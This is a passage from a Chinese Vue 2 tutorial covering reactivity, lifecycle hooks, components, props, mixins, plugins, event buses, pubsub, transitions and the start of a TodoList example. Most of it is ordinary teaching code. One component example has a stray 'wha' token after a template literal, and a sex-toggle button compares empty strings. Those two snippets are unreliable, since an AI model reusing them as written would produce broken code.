        <button v-if="student.sex" @click="student.sex = student.sex === ''? '' : ''">修改学生性别</button>
    
        <p>姓名:{{ student.name }}</p>
        <p>年龄:{{ student.age }}</p>
        <p v-if="student.sex">性别:{{ student.sex }}</p>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                student: {
                    name: 'Spring-_-Bear',
                    age: 22
                }
            },
            methods: {
                addSex(val) {
                    this.$set(this.student, 'sex', val);
                }
            }
        })
    </script>
    
  3. Vue 监测数组数据变化:Vue 将被侦听的数组的 变更方法 进行了包裹,通过这些方法操作数组数据也会触发视图更新。这些被包裹过的方法包括:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

    <div id="root">
        <h1>学生信息</h1>
        <p>姓名:{{ student.name }}</p>
        <p>年龄:{{ student.age }}</p>
        <p>爱好如下:</p>
        <ul>
            <li v-for="(h,index) in student.hobbies" :key="index">{{ h }}</li>
        </ul>
        <!-- push()、pop()、shift()、unshift()、splice()、sort()、reverse() -->
        <button @click="student.hobbies.splice(0, 1, '睡觉')">修改爱好</button>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                student: {
                    name: 'Spring-_-Bear',
                    age: 22,
                    hobbies: ['学习', '钓鱼', '阅读']
                }
            },
        })
    </script>
    
  4. Vue 数据监测原理:会监视 data 中所有层次的数据

    • 如何监测对象中的数据:通过 setter 实现数据监测,需要在创建 Vue 实例时就传入要监测的数据。对于对象中后追加的属性,Vue 默认不做响应式处理,若需实现响应式需使用如下 API:
      • Vue.set(target, propertyName/index, value)
      • vm.$set(target, propertyName/index, value)
      • Vue.set()vm.$set() 不能给 vm 或 data 追加属性
    • 如何监测数组中的数据:通过包裹数组更新元素的方法实现监测数组中的数据

1.17 生命周期

  1. 生命周期:又名生命周期回调函数、生命周期函数、生命周期钩子,是一些在关键时刻 Vue 调用的特殊名称的函数。生命周期函数的名字不可更改,但函数体内容由程序员实现,函数中的 this 对象指向 vm 或组件实例对象

  2. mounted 挂载函数的基本使用:

    <div id="root">
        <!-- 若隐若现 -->
        <div :style="{opacity: opacity}">Spring-_-Bear 学 Vue</div>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            data: {
                opacity: 0
            },
            // Vue 完成模板的解析并把初始的真实 DOM 放入页面调用 mounted 函数,即挂载完成后调用
            mounted() {
                setInterval(() => {
                    if (this.opacity > 1) {
                        this.opacity = 0;
                    }
                    this.opacity += 0.01;
                }, 20);
            }
        })
    </script>
    
  3. 生命周期流程图:

    在这里插入图片描述

  4. 生命周期的注意事项:

    • destoryed:销毁后借助 Vue 开发者工具看不到任何信息;自定义事件会失效,但原生 DOM 事件依然有效
    • beforeDestroy:一般不会在 beforeDestroy 中操作数据,即使操作了数据也不会触发更新流程

二、组件化

2.1 概述

  1. 组件:实现应用中局部功能代码和资源的集合

    在这里插入图片描述

  2. Vue 实例中 template 配置项的使用:

    <div id="root">
        <!-- 当从 template 中渲染页面时,<div id="root"> 中定义的属性将全部丢失 -->
        <h1>Vue</h1>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        new Vue({
            el: '#root',
            template:
                `
                      <div>
                          <div>Spring-_-Bear 学 Vue</div>
                          <span>Hello World!</span>
                      </div>
                    `
        })
    </script>
    

2.2 组件的定义和使用

  1. 组件定义和使用的注意事项:

    • el 不能配置:因为所有的组件最终都要经过一个 vm 的管理,由 vm 中的 el 决定所有的组件服务于哪个容器
    • data 必须写成函数:目的是避免组件被复用时数据间存在引用关系
    • 组件名:
      • kebab-case 风格,如 my-school
      • CamelCase 风格,如 MySchool(需要 Vue 脚手架支持)
    • 组件使用:
      • 双标签写法:例如 <school></school>
      • 单标签写法:例如 <school/>,不使用脚手架时会导致后续组件不能渲染
    • 组件定义的简写方式:const school = Vue.extend(options) => const school = options
    • 可以在定义组件时使用 name 配置项指定组件在 Vue 开发者工具中呈现的名字
  2. 非单文件组件的定义和使用:

    <div id="root">
        <!-- 使用组件 -->
        <school></school>
        <hr/>
        <student></student>
    </div>
    <hr/>
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        // 定义 school 组件
        const school = Vue.extend({
            template:
                    `
                      <div>
                      <h1>学校名称:{{ schoolName }}</h1>
                      <h1>学校地址:{{ address }}</h1>
                      <button @click="showSchool">展示学校</button>
                      </div>
                    `,
            data() {
                return {
                    schoolName: 'WHUT',
                    address: '湖北省武汉市'
                }
            },
            methods: {
                showSchool() {
                    alert(this.schoolName);
                }
            }
        });
    
        // 定义 student 组件
        const student = Vue.extend({
            template:
                    `
                      <div>
                      <h1>学生姓名:{{ studentName }}</h1>
                      <h1>学生年龄:{{ age }}</h1>
                      </div>
                    `,wha
            data() {
                return {
                    studentName: 'Spring-_-Bear',
                    age: 18
                }
            }
        });
    
        new Vue({
            el: '#root',
            components: {
                // 注册局部组件
                school: school,
                student: student
            }
        })
    </script>
    
  3. 嵌套组件的定义和使用:

    <div id="root">
    
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        // 定义 student 组件
        const student = Vue.extend({
            template:
                    `
                      <div>
                      <h1>学生姓名:{{ studentName }}</h1>
                      <h1>学生年龄:{{ age }}</h1>
                      </div>
                    `,
            data() {
                return {
                    studentName: 'Spring-_-Bear',
                    age: 18
                }
            }
        });
    
        // 定义 school 组件
        const school = Vue.extend({
            template:
                    `
                      <div>
                      <h1>学校名称:{{ schoolName }}</h1>
                      <h1>学校地址:{{ address }}</h1>
                      <student></student>
                      </div>
                    `,
            data() {
                return {
                    schoolName: 'WHUT',
                    address: '湖北省武汉市'
                }
            },
            // 嵌套组件注册
            components: {
                student: student
            }
        });
    
        // 定义 hello 组件
        const hello = Vue.extend({
            template:
                `
                <div>
                    <h1>Hello World</h1>
                </div>
                `
        })
    
        // 管理组件的组件 app 组件
        const app = Vue.extend({
            template: `
              <div>
              <school></school>
              <hello></hello>
              </div>
            `,
            components: {
                // school 组件中使用 student 组件
                school: school,
                hello: hello
            }
        });
    
        new Vue({
            template: `
              <app></app>
            `,
            el: '#root',
            components: {
                app: app
            }
        })
    </script>
    
  4. 全局组件的定义和使用:

    <div id="root">
        <h1>root</h1>
        <hello></hello>
    </div>
    <hr/>
    <div id="app">
        <h1>app</h1>
        <hello></hello>
    </div>
    
    <script type="text/javascript">
        Vue.config.productionTip = false
    
        // 注册全局组件
        Vue.component('hello', Vue.extend({
            template:
                `
                <div>
                    <h1>Hello World</h1>
                </div>
            `
        }));
    
        new Vue({
            el: '#root'
        })
    
        new Vue({
            el: '#app'
        })
    </script>
    
  5. 单文件组件的定义和使用:

    • main.js:应用入口文件,注册并使用 App 组件

      import App from "./App";
      
      new Vue({
          el: 'root',
          template: `<App></App>`,
          components: {App}
      });
      
    • App.vue:顶级组件,用于管理其它组件

      <template>
        <div>
          <school></school>
          <student></student>
        </div>
      </template>
      
      <script>
      // 引入其它组件
      import School from "./School";
      import Student from "./Student";
      
      export default {
        name: "App",
        // 注册组件
        components: {Student, School}
      }
      </script>
      
    • School.vue:实现学校相关功能

      <!-- 组件的结构 -->
      <template>
        <div class="demo">
          <h1>学校名称:{{ name }}</h1>
          <h1>学校地址:{{ address }}</h1>
          <button @click="showSchool">show</button>
        </div>
      </template>
      
      <!-- 组件的行为 -->
      <script>
      // 暴露组件
      export default {
        name: 'School',
        data() {
          return {
            name: '武汉理工大学',
            address: '湖北省武汉市'
          }
        },
        methods: {
          showSchool() {
            alert(this.name);
          }
        }
      }
      </script>
      
      <!-- 组件的样式 -->
      <style>
      .demo {
        background-color: aqua;
      }
      </style>
      
    • Student.vue:实现学生相关功能

      <!-- 组件的结构 -->
      <template>
        <div>
          <h1>姓名:{{ name }}</h1>
          <h1>年龄:{{ age }}</h1>
        </div>
      </template>
      
      <!-- 组件的行为 -->
      <script>
      // 暴露组件
      export default {
        name: 'Student',
        data() {
          return {
            name: 'Spring-_-Bear',
            age: 18
          }
        }
      }
      </script>
      
    • index.html:引入 vue.jsmain.js

      <!DOCTYPE html>
      <html lang="zh-cn">
      <head>
          <meta charset="UTF-8">
          <title>首页</title>
      </head>
      <body>
      <div id="root"></div>
      
      <script type="text/javascript" src="../js/vue.js"></script>
      <script type="text/javascript" src="main.js"></script>
      </body>
      </html>
      

2.3 VueComponent

  1. 组件:本质是一个名为 VueComponent 的构造函数,由 Vue.extend 函数调用。当使用组件时,Vue 解析组件标签的过程中会生成组件的实例对象。每次调用 Vue.extend,返回的都是一个全新的 VueComponent

  2. this 对象:

    • 在组件实例 vc 中:data 函数、methods 中的函数、watch 中的函数、computed 中的函数,this 指向 VueComponent 实例对象 vc
    • 在 Vue 实例 vm 中:data 函数、methods 中的函数、watch 中的函数、computed 中的函数,this 指向 Vue 实例 vm
  3. 显式原型对象与隐式原型对象间的关系:

    <script type="text/javascript">
        function Demo() {
            this.a = 1
            this.b = 2
        }
    
        const demo = new Demo();
    
        console.log('显式原型对象:', Demo.prototype);
        console.log('隐式原型对象:', demo.__proto__);
        // output: true
        console.log(Demo.prototype === demo.__proto__)
    
        // 通过显式原型属性操作原型对象,追加一个 x 属性,值为 38,则 demo 身上也能直接看到 x
        Demo.prototype.x = 38;
        /* 
         * 实例的隐式原型属性永远指向自己缔造者的原型对象
         */
        console.log(demo.x);
    </script>
    
  4. 组件重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype,即让组件实例对象(vc)可以访问到 Vue 原型上的属性和方法

    在这里插入图片描述

三、脚手架

3.1 开发环境配置

  1. 安装 Node.js 并配置淘宝镜像:npm config set registry https://registry.npm.taobao.org

  2. 全局安装 Vue 脚手架:npm install -g @vue/cli

  3. 创建 Vue 项目:vue create projectName

  4. 启动 Vue 项目:npm run serve

  5. 修改默认配置:在工程路径下的 vue.config.js 中修改默认配置,如关闭语法检查:

    const { defineConfig } = require('@vue/cli-service')
    module.exports = defineConfig({
      transpileDependencies: true,
      // 关闭语法检查
      lintOnSave: false
    })
    

3.2 render 函数

// 默认引入 vue/dist/vue.runtime.esm.js
import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
    el: '#app',
    render: h => h(App)
})

vue.jsvue.runtime.xxx.js 的区别:

  • vue.js 是完整版的 Vue,包含核心功能和模板解析器

  • vue.runtime.xxx.js 是运行时版的 Vue,只包含核心功能,没有模板解析器,所以不能使用 template 配置项,需要使用 render 函数接收到的 createElement 函数去创建具体内容

    render(createElement) {
        // 通过 render 函数接收到的 createElement 函数创建具体内容
    	return createElement('h1', 'Hello World')
    }
    

3.3 ref 引用

ref 属性被用来给元素或子组件注册引用信息:

  • 应用在 html 标签上获取的是真实的 DOM 元素
  • 应用在组件标签上是组件实例对象(VueComponent)
<template>
  <div>
    <h1 ref="hello">Hello World</h1>
    <button @click="show">Click me</button>
    <School ref="school"/>
  </div>
</template>

<script>
import School from "@/components/School";

export default {
  name: "App",
  components: {School},
  methods: {
    show() {
      // 真实 DOM 元素
      console.log(this.$refs.hello);
      // 组件实例对象
      console.log(this.$refs.school)
    }
  }
}
</script>

3.4 props 配置(组件通信)

props 配置用于组件接收外部传递的数据,一般用于接收父组件所传递的数据。props 传递的数据是 只读的,Vue 底层会检测对 props 传递数据的修改行为,若进行了修改则会在控制台发出警告

App.vue:给子组件传递数据

<template>
  <div>
    <!-- 给组件传递数据 -->
    <Student name="Spring-_-Bear" sex="男" :age="18"/>
  </div>
</template>

<script>
import Student from "@/components/Student";

export default {
  name: "App",
  components: {Student}
}
</script>

Student.vue:使用 props 配置接受来自父组件的数据

<template>
  <div class="school">
    <h1>{{ msg }}</h1>
    <h1>姓名:{{ name }}</h1>
    <h1>性别:{{ sex }}</h1>
    <h1>年龄:{{ copyAge }}</h1>
    <button @click="copyAge++">age++</button>
  </div>
</template>

<script>
export default {
  name: "Student",
  data() {
    return {
      msg: '我是清华大学的学生',
      // 拷贝 props 中传递的 age 用于修改,因为 props 中接收到的数据是只读的
      copyAge: this.age
    }
  },
    
  // 方式一(数组式):简单声明接收
  // props: ['name', 'sex', 'age']

  // 方式二(对象式):接收的同时对数据类型进行限制
  // props: {
  //   name: String,
  //   sex: String,
  //   age, Number
  // }

  // 方式三:数据类型限制 + 默认值指定 + 必要性限制
  props: {
    name: {
      type: String,
      required: true
    },
    sex: {
      type: String,
      required: false
    },
    age: {
      type: Number,
      default: 99
    }
  }
}
</script>

<style scoped>
.school {
  background-color: gray;
}
</style>

3.5 mixin 混入

mixin 混入:用于组件间复用相同的逻辑和数据,混入就是把组件多次使用的属性和方法等内容进行封装

  1. 配置局部混入:

    • mixin.js:抽取多个组件的共用逻辑和数据进行封装

      export const mixin = {
          methods: {
              showName() {
                  alert(this.name)
              }
          },
          data() {
              return {msg: 'Welcome to learn Vue'}
          }
      }
      
    • School.vue:通过 mixins 配置项配置局部混入,可配置多个 mixin

      <template>
        <div class="school">
          <h1>{{ msg }}</h1>
          <h1 @click="showName">学校:{{ name }}</h1>
          <h1>地址:{{ address }}</h1>
        </div>
      </template>
      
      <script>
      import {mixin} from "@/mixin";
      
      export default {
        name: "Student",
        data() {
          return {
            name: '武汉理工大学',
            address: '湖北省武汉市'
          }
        },
        // 配置局部混入
        mixins: [mixin]
      }
      </script>
      
      <style scoped>
      .school {
        background-color: gray;
      }
      </style>
      
    • Student.vue:通过 mixins 配置项配置局部混入,可配置多个 mixin

      <template>
        <div class="school">
          <h1>{{ msg }}</h1>
          <h1 @click="showName">姓名:{{ name }}</h1>
          <h1>性别:{{ sex }}</h1>
        </div>
      </template>
      
      <script>
      import {mixin} from "@/mixin";
      
      export default {
        name: "Student",
        data() {
          return {
            name: 'Spring-_-Bear',
            sex: 'male'
          }
        },
        // 配置局部混入
        mixins: [mixin]
      }
      </script>
      
      <style scoped>
      .school {
        background-color: gray;
      }
      </style>
      
  2. 配置全局混入:与配置全局自定义指令、全局过滤器类似

    • mixin.js:抽取所有组件共有的逻辑和数据进行封装

      export const mixin = {
          methods: {
              showName() {
                  alert(this.name)
              }
          },
          data() {
              return {msg: 'Welcome to learn Vue'}
          }
      }
      
    • main.js:引入混入文件并使用 Vue.mixin() 方法配置全局混入,可供所有组件使用

      import Vue from "vue";
      import App from './App.vue'
      import {mixin} from "@/mixin";
      
      Vue.config.productionTip = false
      // 配置全局混入
      Vue.mixin(mixin)
      
      new Vue({
          el: '#app',
          render: h => h(App)
      })
      

3.6 plugin 插件

插件:用于增强 Vue,本质是一个包含 install() 方法的对象。install 函数的第一个参数是 Vue,第二个参数是插件使用者所传递的数据

pulgins.js:在 install 方法中配置当前插件所拥有的各种功能,如全局过滤器、全局自定义指令、全局混入等

import {mixin} from "@/mixin";

export default {
    install(Vue, params) {
        console.log('接收到的参数:', params)

        // 全局过滤器
        Vue.filter('mySlice', function (val) {
            return val.slice(0, 4);
        });

        // 全局自定义指令
        Vue.directive('myfocus', {
            bind(element, binding) {
                element.value = binding.value
            },
            inserted(element, binding) {
                element.focus()
            },
            update(element, binding) {
                element.value = binding.value
            }
        })

        // 全局混入
        Vue.mixin(mixin)

        // 往 Vue 原型上添加方法
        Vue.prototype.hello = () => {
            alert("Hello World")
        };
    }
}

main.js:引入并使用插件

import Vue from "vue";
import App from './App.vue'
import plugins from "@/plugins";

Vue.config.productionTip = false
// 使用插件,并给插件传递消息
Vue.use(plugins, 'Used plugins in the main.js')

new Vue({
    el: '#app',
    render: h => h(App)
})

3.7 localStorage

本地存储内容大小一般为 5M,因浏览器而异。通过 Window.localStorageWindow.sessionStorage 对象中的 API 来实现本地存储和会话存储

<div id="root">
    <button onclick="add()">本地存储:添加</button>
    <button onclick="delItem()">本地存储:删除</button>
    <button onclick="update()">本地存储:修改</button>
    <button onclick="read()">本地存储:读取</button>
    <button onclick="clearAll()">本地存储:清除</button>
</div>

<script type="text/javascript">
    // 会话存储对象的 API 和本地存储一致,仅仅是生存周期不同而已
    const localStorage = window.localStorage;

    function add() {
        localStorage.setItem('name', 'Spring-_-Bear');
        // save object
        localStorage.setItem('wut', JSON.stringify({name: 'WHUT', address: 'HBWH'}));
    }

    function delItem() {
        localStorage.removeItem('name');
    }

    function update() {
        localStorage.setItem('name', 'bear');
    }

    function read() {
        // read object
        let objStr = localStorage.getItem('wut');
        console.log(JSON.parse(objStr))
    }

    function clearAll() {
        localStorage.clear();
    }
</script>

3.8 组件自定义事件(组件通信)

  1. 组件自定义事件:适用于父组件给子组件绑定自定义事件,从而实现 子 ===> 父 组件通信。自定义事件的回调在父组件中,而事件的触发在子组件中

    • 方式一:v-on 实现

      <template>
        <div>
          <!-- v-on 实现组件自定义事件(v-on.once.getName:事件只触发一次) -->
          <Student v-on:getName="getStudentName"/>
        </div>
      </template>
      
      <script>
      import Student from "@/components/Student";
      
      export default {
        name: "App",
        components: {Student},
        methods: {
          getStudentName(val, ...params) {
            console.log(val)
            console.log(params)
          }
        }
      }
      </script>
      
    • 方式二:ref 实现

      <template>
        <div>
          <!-- ref 实现组件自定义事件 -->
          <Student ref="student"/>
        </div>
      </template>
      
      <script>
      import Student from "@/components/Student";
      
      export default {
        name: "App",
        components: {Student},
        methods: {
          getStudentName(val, ...params) {
            console.log(val)
            console.log(params)
          }
        },
        mounted() {
          setTimeout(() => {
            // 给子组件绑定一个自定义事件
            this.$refs.student.$on('getName', this.getStudentName)
            /* this.$refs.student.$once('getName', this.getStudentName) 只触发一次 */
          }, 3000);
        }
      }
      </script>
      
  2. 子组件触发自定义事件实现组件通信:

    <template>
      <div class="student">
        <h1>姓名:{{ name }}</h1>
        <h1>性别:{{ sex }}</h1>
        <button @click="sendName">发送我的名字</button>
      </div>
    </template>
    
    <script>
    export default {
      name: "Student",
      data() {
        return {
          name: 'Spring-_-Bear',
          sex: 'male'
        }
      },
      methods: {
        // 通过调用 VC 身上的自定义事件实现给父组件传递消息
        sendName() {
          this.$emit('getName', this.name, 1, 2, 3, 4, 5)
        }
      }
    }
    </script>
    
  3. 自定义事件的解绑:

    <template>
      <div class="student">
        <h1>姓名:{{ name }}</h1>
        <h1>性别:{{ sex }}</h1>
        <button @click="sendName">发送我的名字</button>
        <button @click="unbind">解绑自定义事件</button>
      </div>
    </template>
    
    <script>
    export default {
      name: "Student",
      data() {
        return {
          name: 'Spring-_-Bear',
          sex: 'male'
        }
      },
      methods: {
        // 通过调用 VC 身上的自定义事件实现给父组件传递消息
        sendName() {
          this.$emit('getName', this.name, 1, 2, 3, 4, 5)
        },
        unbind() {
          // 方式一:解绑单个自定义事件
          // this.$off('getName')
          // 方式二:解绑多个自定义事件
          // this.$off(['getName', 'test'])
          // 方式三:解绑所有自定义事件
          this.$off()
        }
      }
    }
    </script>
    
  4. 给组件绑定原生 DOM 事件:需要适用 native 事件修饰符

    <template>
      <div>
        <h1>Name received: {{ msg }}</h1>
        <Student ref="student" @click.native="show"/>
      </div>
    </template>
    
  5. 通过 this.$refs.xxx.$on('eventName', callFunction) 绑定自定义事件时,回调要么配置在 methods 中,要么使用箭头函数,否则 this 指向会出问题,即以下两种方式等价

    <template>
      <div>
        <h1>Name received: {{ msg }}</h1>
        <Student ref="student"/>
      </div>
    </template>
    
    
    
    <script>
    import Student from "@/components/Student";
    
    export default {
      name: "App",
      components: {Student},
      data() {
        return {
          'msg': ''
        }
      },
      mounted() {
        // 此处的回调函数必须为箭头函数
        this.$refs.student.$on('getName', val => {
          console.log(val)
          this.msg = val
        });
      }
    }
    </script>
    
    <template>
      <div>
        <h1>Name received: {{ msg }}</h1>
        <Student ref="student"/>
      </div>
    </template>
    
    <script>
    import Student from "@/components/Student";
    
    export default {
      name: "App",
      components: {Student},
      data() {
        return {
          'msg': ''
        }
      },
      methods: {
        getStudentName(val) {
          console.log(val)
          this.msg = val
        }
      },
      mounted() {
        this.$refs.student.$on('getName', this.getStudentName)
      }
    }
    </script>
    

3.9 全局事件总线(组件通信)

全局事件总线是一种组件间通信的方式,适用于任意组件间通信。全局事件总线并不是插件、配置文件等等,事件总线是程序员在做 Vue 开发中总结积累的一套方法、规则,只要满足这套规则就可以实现组件间的通信

  1. main.js:装配全局事件总线,供组件间通信使用

    import Vue from "vue";
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el: '#app',
        render: h => h(App),
        beforeCreate() {
            // 装配全局事件总线
            Vue.prototype.$bus = this
        }
    })
    
  2. Studnet.vue:消息接收者,在事件总线 $bus 上注册事件(函数)

    <template>
      <div>
        <h1>姓名:{{ name }}</h1>
        <h1>性别:{{ sex }}</h1>
      </div>
    </template>
    
    <script>
    export default {
      name: "Student",
      data() {
        return {
          name: 'Spring-_-Bear',
          sex: 'male'
        }
      },
      mounted() {
        // 在总线上注册事件
        this.$bus.$on('stuReceiveMsg', msg => {
          console.log('我是 Student,收到消息如下:', msg)
        });
      },
      beforeDestroy() {
        // 解绑当前组件用到的事件
        this.$bus.$off('stuReceiveMsg')
      }
    }
    </script>
    
  3. School.vue:消息发送者,利用总线触发事件,实现组件通信

    <template>
      <div>
        <h1>学校:{{ name }}</h1>
        <h1>地址:{{ address }}</h1>
        <button @click="noticeStudent('所有学生今天必须做核酸')">通知学生做核酸</button>
      </div>
    </template>
    
    <script>
    export default {
      name: "School",
      data() {
        return {
          name: '武汉理工大学',
          address: '湖北省武汉市'
        }
      },
      methods: {
        noticeStudent(msg) {
          // 通过总线触发事件,从而实现组件通信
          this.$bus.$emit('stuReceiveMsg', '通知内容如下:' + msg)
        }
      }
    }
    </script>
    
  4. App.vue:引入并使用其它组件

    <template>
      <div>
        <School/>
        <Student/>
      </div>
    </template>
    
    <script>
    import School from "@/components/School";
    import Student from "@/components/Student";
    
    export default {
      name: "App",
      components: {School, Student}
    }
    </script>
    

3.10 消息订阅与发布(组件通信)

安装 pubsub-js 库用于实现消息订阅与发布:npm i pubsub-js

  1. 消息接收者:也即消息订阅者,注册函数用于订阅消息

    <template>
      <div>
        <h1>姓名:{{ name }}</h1>
        <h1>性别:{{ sex }}</h1>
      </div>
    </template>
    
    <script>
    import pubsub from 'pubsub-js'
    
    export default {
      name: "Student",
      data() {
        return {
          name: 'Spring-_-Bear',
          sex: 'male'
        }
      },
      mounted() {
        // 订阅消息:使用箭头函数时 this 指向 VC,使用正常函数时 this 为 undefined
        this.pid = pubsub.subscribe('schoolNotice', (msgName, msg) => {
          console.log('Come from ' + msgName, ', data is ' + msg);
        })
      },
      beforeDestroy() {
        // 取消订阅
        pubsub.unsubscribe(this.pid);
      }
    }
    </script>
    
  2. 消息发送者:也即发布者,发布消息

    <template>
      <div>
        <h1>学校:{{ name }}</h1>
        <h1>地址:{{ address }}</h1>
        <button @click="noticeStudent('所有学生今天必须做核酸')">通知学生做核酸</button>
      </div>
    </template>
    
    <script>
    import pubsub from 'pubsub-js'
    
    export default {
      name: "School",
      data() {
        return {
          name: '武汉理工大学',
          address: '湖北省武汉市'
        }
      },
      methods: {
        noticeStudent(msg) {
          // 发布消息
          pubsub.publish('schoolNotice', msg);
        }
      }
    }
    </script>
    
  3. App.vue:引入并使用其它组件

    <template>
      <div>
        <School/>
        <Student/>
      </div>
    </template>
    
    <script>
    import School from "@/components/School";
    import Student from "@/components/Student";
    
    export default {
      name: "App",
      components: {School, Student}
    }
    </script>
    

3.11 $nextTick

$nextTick 指定的回调函数会在下一次 DOM 更新结束后执行。适用于当数据改变后要基于更新后的 DOM 进行某些特殊操作,如输入框值 DOM 更新后下次打开时自动聚焦

用法详见 TodoList 案例中的 TodoItem 组件

3.12 动画与过渡

  1. 动画效果:将要实现实现动画效果的单个元素使用 transition 标签包裹

    <template>
      <div>
        <button @click="isShow = !isShow">Display / Hide</button>
        <!-- 将要实现实现动画的单个元素使用 `transition` 标签包裹 -->
        <transition name="hello" appear>
          <h1 v-show="isShow">Hello World</h1>
        </transition>
      </div>
    </template>
    
    <script>
    export default {
      name: "Animation",
      data() {
        return {
          isShow: true
        }
      }
    }
    </script>
    
    <style scoped>
    h1 {
      background-color: skyblue;
      text-align: center;
    }
    
    /* 入场激活 */
    .hello-enter-active {
      animation: helloAnimation 0.5s linear;
    }
    
    /* 离开激活 */
    .hello-leave-active {
      animation: helloAnimation 0.5s linear reverse;
    }
    
    /* 定义动画 */
    @keyframes helloAnimation {
      from {
        transform: translateX(-100%);
      }
    
      to {
        transform: translateX(0px);
      }
    }
    </style>
    
  2. 过渡效果:将要实现实现过渡效果的单个元素使用 transition 标签包裹

    <template>
      <div>
        <button @click="isShow = !isShow">Display / Hide</button>
        <!-- 将要实现实现过渡效果的单个元素使用 `transition` 标签包裹 -->
        <transition name="hello" appear>
          <h1 v-show="isShow">Hello World</h1>
        </transition>
      </div>
    </template>
    
    <script>
    export default {
      name: "Animation",
      data() {
        return {
          isShow: true
        }
      }
    }
    </script>
    
    <style scoped>
    h1 {
      background-color: skyblue;
      text-align: center;
    }
    
    .hello-enter, .hello-leave-to {
      transform: translateX(-100%);
    }
    
    .hello-enter-active, .hello-leave-active {
      transition: 0.5s linear;
    }
    
    .hello-leave, .hello-enter-to {
      transform: translateX(0);
    }
    </style>
    
  3. 多个元素过渡:

    • 方式一:增加一个顶级 div 囊括需要实现过渡的元素

      <template>
        <div>
          <button @click="isShow = !isShow">Display / Hide</button>
          <transition name="hello" appear>
            <div v-show="isShow">
              <h1>Hello World</h1>
              <h1>Vue</h1>
            </div>
          </transition>
        </div>
      </template>
      
      <script>
      export default {
        name: "Animation",
        data() {
          return {
            isShow: true
          }
        }
      }
      </script>
      
      <style scoped>
      h1 {
        background-color: skyblue;
        text-align: center;
      }
      
      .hello-enter, .hello-leave-to {
        transform: translateX(-100%);
      }
      
      .hello-enter-active, .hello-leave-active {
        transition: 0.5s linear;
      }
      
      .hello-leave, .hello-enter-to {
        transform: translateX(0);
      }
      </style>
      
    • 方式二:使用 transition-group 元素包裹需要实现过渡效果的多个元素

      <template>
        <div>
          <button @click="isShow = !isShow">Display / Hide</button>
          <!-- 多个元素过渡效果使用 transition-group 标签包裹 -->
          <transition-group name="hello" appear>
            <h1 v-show="isShow" :key="1">Hello World</h1>
            <h1 v-show="isShow" :key="2">Vue</h1>
          </transition-group>
        </div>
      </template>
      
      <script>
      export default {
        name: "Animation",
        data() {
          return {
            isShow: true
          }
        }
      }
      </script>
      
      <style scoped>
      h1 {
        background-color: skyblue;
        text-align: center;
      }
      
      .hello-enter, .hello-leave-to {
        transform: translateX(-100%);
      }
      
      .hello-enter-active, .hello-leave-active {
        transition: 0.5s linear;
      }
      
      .hello-leave, .hello-enter-to {
        transform: translateX(0);
      }
      </style>
      

3.13 TodoList 案例

安装 nanoid 用于生成 UUID:npm i nanoid

用到的知识点:

  1. 双向数据绑定、键盘事件、监视属性、条件渲染、事件绑定、钩子函数、嵌套组件
  2. props、组件自定义事件、全局事件总线
  3. 多个元素过渡、浏览器本地存储
  4. nanoid、ref、$nexttick
  1. main.js

    import Vue from "vue";
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el: '#app',
        render: h => h(App),
        beforeCreate() {
            // 装配全局事件总线
            Vue.prototype.$bus = this
        }
    })
    
  2. App.vue

    <template>
      <div id="root">
        <div class="todo-container">
          <div class="todo-wrap">
            <!-- 自定义事件 addTodoItem -->
            <TodoHeader @addTodoItem="addTodoItem"/>
            <!-- 给组件传递数据 -->
            <TodoList :todos="todos"/>
            <!-- 自定义事件 checkAllItems、clearCompletedItems -->
            <TodoFooter :todos="todos" @checkAllItems="checkAllItems" @clearCompletedItems="clearCompletedItems"/>
          </div>
        </div>
      </div>
    </template>
    
    <script>
    import TodoHeader from "@/components/TodoHeader";
    import TodoList from "@/components/TodoList";
    import TodoFooter from "@/components/TodoFooter";
    
    export default {
      name: 'App',
      components: {TodoHeader, TodoList, TodoFooter},
      data() {
        return {
          // 浏览器本地读取 todos 数据
          todos: JSON.parse(localStorage.getItem('todos')) || []
        }
      },
      methods: {
        // 增
        addTodoItem(todoItem) {
          this.todos.unshift(todoItem)
        },
        // 删
        deleteTodoItem(id) {
          this.todos = this.todos.filter((todo) => {
            return id !== todo.id;
          });
        },
        // 删:清除已完成项
        clearCompletedItems() {
          this.todos = this.todos.filter((todo) => {
            return !todo.completed
          });
        },
        // 改:修改项描述
        updateTodoItem(id, description) {
          this.todos.forEach((todo) => {
            if (id === todo.id) {
              todo.description = description
            }
          });
        },
        // 改:选中全部
        checkAllItems(status) {
          this.todos.forEach((todo) => {
            todo.completed = status
          });
        },
        // 改:修改项状态
        changeTodoItemStatus(id) {
          this.todos.forEach((todo) => {
            if (id === todo.id) {
              todo.completed = !todo.completed;
            }
          });
        }
      },
      watch: {
        todos: {
          deep: true,
          handler(newVal) {
            // 浏览器本地存储
            localStorage.setItem('todos', JSON.stringify(newVal))
          }
        }
      },
      mounted() {
        // 在全局事件总线上注册事件
        this.$bus.$on('changeTodoItemStatus', this.changeTodoItemStatus)
        this.$bus.$on('deleteTodoItem', this.deleteTodoItem)
        this.$bus.$on('updateTodoItem', this.updateTodoItem)
      },
      beforeDestroy() {
        // 解绑全局事件总线事件
        this.$bus.$off(['changeTodoItemStatus', 'deleteTodoItem', 'updateTodoItem'])
      }
    }
    </script>
    
    <style>
    body {
      background: #fff;
    }
    
    .btn {
      display: inline-block;
      padding: 4px 12px;
      margin-bottom: 0;
      font-size: 14px;
      line-height: 20px;
      text-align: center;
      vertical-align: middle;
      cursor: pointer;
      box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
      border-radius: 4px;
    }
    
    .btn-danger {
      color: #fff;
      background-color: #da4f49;
      border: 1px solid #bd362f;
    }
    
    .btn-info {
      color: #fff;
      background-color: skyblue;
      border: 1px solid #2e5968;
      margin-right: 5px;
    }
    
    .btn-info:hover {
      color: #fff;
